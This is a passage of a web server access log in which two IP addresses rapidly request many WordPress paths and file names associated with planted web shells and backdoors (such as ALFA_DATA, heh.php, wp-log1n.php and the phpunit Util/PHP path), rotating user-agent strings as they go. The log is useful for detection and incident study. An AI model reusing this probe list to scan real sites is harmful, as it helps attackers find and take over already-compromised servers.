HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:59 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:59 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:00 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:01 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:02 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 